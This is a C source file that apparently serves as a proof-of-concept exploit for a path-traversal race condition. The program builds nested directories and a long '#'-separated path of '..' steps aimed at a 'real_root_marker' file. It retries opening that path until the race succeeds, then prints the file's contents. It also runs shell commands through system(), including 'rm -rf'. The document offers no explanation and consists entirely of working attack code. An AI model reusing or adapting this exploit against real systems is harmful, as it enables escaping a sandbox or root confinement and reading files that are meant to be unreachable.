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#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <stdlib.h>

int main(void) {
	puts("entering directory...");
	system("rm -rf 0_");
	system("touch 0_#1#2#3#4#5#6#7#8#9#..#..#..#..#..#..#..#..#..#..#real_root_marker");
	system("mkdir -p 0/1/2/3/4/5/6/7/8/9/x");
	if (chdir("0/1/2/3/4/5/6/7/8/9"))
		err(1, "chdir");

	// prepare `path`
	char path[4096];
	int pos = 0;
	for (int i=0; i<30; i++) {
		strcpy(path+pos, "x#..#"); pos += 5;
	}
	strcpy(path+pos, "..#..#..#..#..#..#..#..#..#real_root_marker");
	char touch_cmd[5000];
	int dummy_fd = open(path, O_RDWR|O_CREAT, 0644);
	if (dummy_fd == -1)
		err(1, "unable to touch dummy file");
	close(dummy_fd);

	puts("entered directory and prepared folders, racing...");
	int fd;
	while (1) {
		fd = open(path, O_RDONLY);
		if (fd == -1 && errno != ENOENT)
			perror("open");
		if (fd != -1) break;
	}
	puts("SUCCESS");
	while (1) {
		char c;
		int res = read(fd, &c, 1);
		if (res == -1)
			err(1, "read");
		if (res == 0) {
			puts("EOF");
			return 0;
		}
		if (write(1, &c, 1) != 1)
			err(1, "write");
	}
}